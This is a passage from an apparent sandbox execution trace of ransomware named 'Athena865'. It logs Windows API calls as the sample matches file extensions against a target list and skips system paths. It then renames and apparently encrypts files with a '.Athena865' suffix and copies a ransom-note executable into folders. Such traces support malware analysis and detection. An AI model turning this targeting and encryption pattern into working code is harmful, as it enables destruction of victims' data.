lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1 [0102.714] lstrlenW (lpString="frm") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1 [0102.714] lstrlenW (lpString="gdb") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.714] lstrlenW (lpString="gdb") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1 [0102.714] lstrlenW (lpString="grdb") returned 4 [0102.714] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1 [0102.714] lstrlenW (lpString="gwi") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1 [0102.714] lstrlenW (lpString="hdb") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1 [0102.714] lstrlenW (lpString="his") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="his") returned 1 [0102.714] lstrlenW (lpString="ib") returned 2 [0102.714] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1 [0102.714] lstrlenW (lpString="idb") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1 [0102.714] lstrlenW (lpString="ihx") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1 [0102.714] lstrlenW (lpString="itdb") returned 4 [0102.714] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1 [0102.714] lstrlenW (lpString="itw") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1 [0102.714] lstrlenW (lpString="jet") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1 [0102.715] lstrlenW (lpString="jtx") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1 [0102.715] lstrlenW (lpString="kdb") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1 [0102.715] lstrlenW (lpString="kexi") returned 4 [0102.715] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1 [0102.715] lstrlenW (lpString="kexic") returned 5 [0102.715] lstrcmpiW (lpString1="O.swf", lpString2="kexic") returned 1 [0102.715] lstrlenW (lpString="kexis") returned 5 [0102.715] lstrcmpiW (lpString1="O.swf", lpString2="kexis") returned 1 [0102.715] lstrlenW (lpString="lgc") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1 [0102.715] lstrlenW (lpString="lwx") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1 [0102.715] lstrlenW (lpString="maf") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1 [0102.715] lstrlenW (lpString="maq") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1 [0102.715] lstrlenW (lpString="mar") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1 [0102.715] lstrlenW (lpString="marshal") returned 7 [0102.715] lstrcmpiW (lpString1="YdO.swf", lpString2="marshal") returned 1 [0102.715] lstrlenW (lpString="mas") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1 [0102.715] lstrlenW (lpString="mav") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1 [0102.715] lstrlenW (lpString="maw") returned 3 [0102.715] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1 [0102.715] lstrlenW (lpString="mdbhtml") returned 7 [0102.715] lstrcmpiW (lpString1="YdO.swf", lpString2="mdbhtml") returned 1 [0102.715] lstrlenW (lpString="mdn") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1 [0102.716] lstrlenW (lpString="mdt") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1 [0102.716] lstrlenW (lpString="mfd") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1 [0102.716] lstrlenW (lpString="mpd") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1 [0102.716] lstrlenW (lpString="mrg") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1 [0102.716] lstrlenW (lpString="mud") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1 [0102.716] lstrlenW (lpString="mwb") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1 [0102.716] lstrlenW (lpString="myd") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1 [0102.716] lstrlenW (lpString="ndf") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1 [0102.716] lstrlenW (lpString="nnt") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1 [0102.716] lstrlenW (lpString="nrmlib") returned 6 [0102.716] lstrcmpiW (lpString1="dO.swf", lpString2="nrmlib") returned -1 [0102.716] lstrlenW (lpString="ns2") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1 [0102.716] lstrlenW (lpString="ns3") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1 [0102.716] lstrlenW (lpString="ns4") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1 [0102.716] lstrlenW (lpString="nsf") returned 3 [0102.716] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1 [0102.716] lstrlenW (lpString="nv") returned 2 [0102.716] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1 [0102.717] lstrlenW (lpString="nv2") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1 [0102.717] lstrlenW (lpString="nwdb") returned 4 [0102.717] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1 [0102.717] lstrlenW (lpString="nyf") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1 [0102.717] lstrlenW (lpString="odb") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.717] lstrlenW (lpString="odb") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.717] lstrlenW (lpString="oqy") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1 [0102.717] lstrlenW (lpString="ora") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1 [0102.717] lstrlenW (lpString="orx") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1 [0102.717] lstrlenW (lpString="owc") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1 [0102.717] lstrlenW (lpString="p96") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1 [0102.717] lstrlenW (lpString="p97") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1 [0102.717] lstrlenW (lpString="pan") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1 [0102.717] lstrlenW (lpString="pdb") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1 [0102.717] lstrlenW (lpString="pdm") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1 [0102.717] lstrlenW (lpString="pnz") returned 3 [0102.717] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1 [0102.717] lstrlenW (lpString="qry") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="qry") returned 1 [0102.718] lstrlenW (lpString="qvd") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1 [0102.718] lstrlenW (lpString="rbf") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1 [0102.718] lstrlenW (lpString="rctd") returned 4 [0102.718] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1 [0102.718] lstrlenW (lpString="rod") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1 [0102.718] lstrlenW (lpString="rodx") returned 4 [0102.718] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1 [0102.718] lstrlenW (lpString="rpd") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1 [0102.718] lstrlenW (lpString="rsd") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1 [0102.718] lstrlenW (lpString="sas7bdat") returned 8 [0102.718] lstrcmpiW (lpString1="LYdO.swf", lpString2="sas7bdat") returned -1 [0102.718] lstrlenW (lpString="sbf") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1 [0102.718] lstrlenW (lpString="scx") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1 [0102.718] lstrlenW (lpString="sdb") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1 [0102.718] lstrlenW (lpString="sdc") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1 [0102.718] lstrlenW (lpString="sdf") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1 [0102.718] lstrlenW (lpString="sis") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1 [0102.718] lstrlenW (lpString="spq") returned 3 [0102.718] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1 [0102.719] lstrlenW (lpString="te") returned 2 [0102.719] lstrcmpiW (lpString1="wf", lpString2="te") returned 1 [0102.719] lstrlenW (lpString="teacher") returned 7 [0102.719] lstrcmpiW (lpString1="YdO.swf", lpString2="teacher") returned 1 [0102.719] lstrlenW (lpString="tmd") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1 [0102.719] lstrlenW (lpString="tps") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1 [0102.719] lstrlenW (lpString="trc") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.719] lstrlenW (lpString="trc") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.719] lstrlenW (lpString="trm") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1 [0102.719] lstrlenW (lpString="udb") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1 [0102.719] lstrlenW (lpString="udl") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1 [0102.719] lstrlenW (lpString="usr") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1 [0102.719] lstrlenW (lpString="v12") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1 [0102.719] lstrlenW (lpString="vis") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1 [0102.719] lstrlenW (lpString="vpd") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1 [0102.719] lstrlenW (lpString="vvv") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1 [0102.719] lstrlenW (lpString="wdb") returned 3 [0102.719] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1 [0102.719] lstrlenW (lpString="wmdb") returned 4 [0102.719] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1 [0102.720] lstrlenW (lpString="wrk") returned 3 [0102.720] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1 [0102.720] lstrlenW (lpString="xdb") returned 3 [0102.720] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1 [0102.720] lstrlenW (lpString="xld") returned 3 [0102.720] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1 [0102.720] lstrlenW (lpString="xmlff") returned 5 [0102.720] lstrcmpiW (lpString1="O.swf", lpString2="xmlff") returned -1 [0102.720] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\gbY7WKRsG9wRhP5LYdO.swf.Athena865") returned 105 [0102.720] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\gbY7WKRsG9wRhP5LYdO.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\gby7wkrsg9wrhp5lydo.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\gbY7WKRsG9wRhP5LYdO.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\gby7wkrsg9wrhp5lydo.swf.athena865"), dwFlags=0x1) returned 1 [0102.722] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\gbY7WKRsG9wRhP5LYdO.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\gby7wkrsg9wrhp5lydo.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.722] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87800) returned 1 [0102.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.722] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.723] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.723] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.723] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a00, lpName=0x0) returned 0x17c [0102.723] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a00) returned 0x100000 [0102.726] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.727] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.727] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.728] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.734] CloseHandle (hObject=0x17c) returned 1 [0102.734] CloseHandle (hObject=0x154) returned 1 [0102.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.735] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc767adc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc767adc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.735] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.735] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec28f1f0, ftCreationTime.dwHighDateTime=0x1d4d4c1, ftLastAccessTime.dwLowDateTime=0x8b7a9660, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x8b7a9660, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L0_ClnHF", cAlternateFileName="")) returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2=".") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="..") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="windows") returned -1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="bootmgr") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="temp") returned -1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="pagefile.sys") returned -1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="boot") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="ids.txt") returned 1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="ntuser.dat") returned -1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="perflogs") returned -1 [0102.735] lstrcmpiW (lpString1="L0_ClnHF", lpString2="MSBuild") returned -1 [0102.735] lstrlenW (lpString="L0_ClnHF") returned 8 [0102.735] lstrcpyW (in: lpString1=0x241e8d8, lpString2="L0_ClnHF" | out: lpString1="L0_ClnHF") returned="L0_ClnHF" [0102.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5461c0 [0102.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa2) returned 0x512f08 [0102.735] lstrcatW (in: lpString1="L0_ClnHF", lpString2="\\" | out: lpString1="L0_ClnHF\\") returned="L0_ClnHF\\" [0102.735] lstrcatW (in: lpString1="L0_ClnHF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="L0_ClnHF\\HOW TO BACK YOUR FILES.exe") returned="L0_ClnHF\\HOW TO BACK YOUR FILES.exe" [0102.735] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\L0_ClnHF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\l0_clnhf\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.738] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761d3570, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0xf94a4be0, ftLastAccessTime.dwHighDateTime=0x1d4c98b, ftLastWriteTime.dwLowDateTime=0xf94a4be0, ftLastWriteTime.dwHighDateTime=0x1d4c98b, nFileSizeHigh=0x0, nFileSizeLow=0x12459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y1q8V6vRRMAy.avi", cAlternateFileName="Y1Q8V6~1.AVI")) returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2=".") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="..") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="windows") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="bootmgr") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="temp") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="pagefile.sys") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="boot") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="ids.txt") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="ntuser.dat") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="perflogs") returned 1 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2="MSBuild") returned 1 [0102.738] lstrlenW (lpString="y1q8V6vRRMAy.avi") returned 16 [0102.738] lstrcpyW (in: lpString1=0x241e8d8, lpString2="y1q8V6vRRMAy.avi" | out: lpString1="y1q8V6vRRMAy.avi") returned="y1q8V6vRRMAy.avi" [0102.738] lstrlenW (lpString="y1q8V6vRRMAy.avi") returned 16 [0102.738] lstrlenW (lpString="Athena865") returned 9 [0102.738] lstrcmpiW (lpString1="RRMAy.avi", lpString2="Athena865") returned 1 [0102.738] lstrlenW (lpString=".dll") returned 4 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2=".dll") returned 1 [0102.738] lstrlenW (lpString=".lnk") returned 4 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2=".lnk") returned 1 [0102.738] lstrlenW (lpString=".ini") returned 4 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2=".ini") returned 1 [0102.738] lstrlenW (lpString=".sys") returned 4 [0102.738] lstrcmpiW (lpString1="y1q8V6vRRMAy.avi", lpString2=".sys") returned 1 [0102.738] lstrlenW (lpString="y1q8V6vRRMAy.avi") returned 16 [0102.738] lstrlenW (lpString="bak") returned 3 [0102.738] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1 [0102.738] lstrlenW (lpString="ba_") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1 [0102.739] lstrlenW (lpString="dbb") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1 [0102.739] lstrlenW (lpString="vmdk") returned 4 [0102.739] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1 [0102.739] lstrlenW (lpString="rar") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1 [0102.739] lstrlenW (lpString="zip") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1 [0102.739] lstrlenW (lpString="tgz") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1 [0102.739] lstrlenW (lpString="vbox") returned 4 [0102.739] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1 [0102.739] lstrlenW (lpString="vdi") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1 [0102.739] lstrlenW (lpString="vhd") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1 [0102.739] lstrlenW (lpString="vhdx") returned 4 [0102.739] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1 [0102.739] lstrlenW (lpString="avhd") returned 4 [0102.739] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1 [0102.739] lstrlenW (lpString="db") returned 2 [0102.739] lstrcmpiW (lpString1="vi", lpString2="db") returned 1 [0102.739] lstrlenW (lpString="db2") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1 [0102.739] lstrlenW (lpString="db3") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1 [0102.739] lstrlenW (lpString="dbf") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1 [0102.739] lstrlenW (lpString="mdf") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1 [0102.739] lstrlenW (lpString="mdb") returned 3 [0102.739] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1 [0102.739] lstrlenW (lpString="sql") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1 [0102.740] lstrlenW (lpString="sqlite") returned 6 [0102.740] lstrcmpiW (lpString1="Ay.avi", lpString2="sqlite") returned -1 [0102.740] lstrlenW (lpString="sqlite3") returned 7 [0102.740] lstrcmpiW (lpString1="MAy.avi", lpString2="sqlite3") returned -1 [0102.740] lstrlenW (lpString="sqlitedb") returned 8 [0102.740] lstrcmpiW (lpString1="RMAy.avi", lpString2="sqlitedb") returned -1 [0102.740] lstrlenW (lpString="xml") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1 [0102.740] lstrlenW (lpString="$er") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1 [0102.740] lstrlenW (lpString="4dd") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1 [0102.740] lstrlenW (lpString="4dl") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1 [0102.740] lstrlenW (lpString="^^^") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1 [0102.740] lstrlenW (lpString="abs") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1 [0102.740] lstrlenW (lpString="abx") returned 3 [0102.740] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1 [0102.740] lstrlenW (lpString="accdb") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accdb") returned 1 [0102.740] lstrlenW (lpString="accdc") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accdc") returned 1 [0102.740] lstrlenW (lpString="accde") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accde") returned 1 [0102.740] lstrlenW (lpString="accdr") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accdr") returned 1 [0102.740] lstrlenW (lpString="accdt") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accdt") returned 1 [0102.740] lstrlenW (lpString="accdw") returned 5 [0102.740] lstrcmpiW (lpString1="y.avi", lpString2="accdw") returned 1 [0102.741] lstrlenW (lpString="accft") returned 5 [0102.741] lstrcmpiW (lpString1="y.avi", lpString2="accft") returned 1 [0102.741] lstrlenW (lpString="adb") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0102.741] lstrlenW (lpString="adb") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0102.741] lstrlenW (lpString="ade") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1 [0102.741] lstrlenW (lpString="adf") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1 [0102.741] lstrlenW (lpString="adn") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1 [0102.741] lstrlenW (lpString="adp") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1 [0102.741] lstrlenW (lpString="alf") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1 [0102.741] lstrlenW (lpString="ask") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1 [0102.741] lstrlenW (lpString="btr") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1 [0102.741] 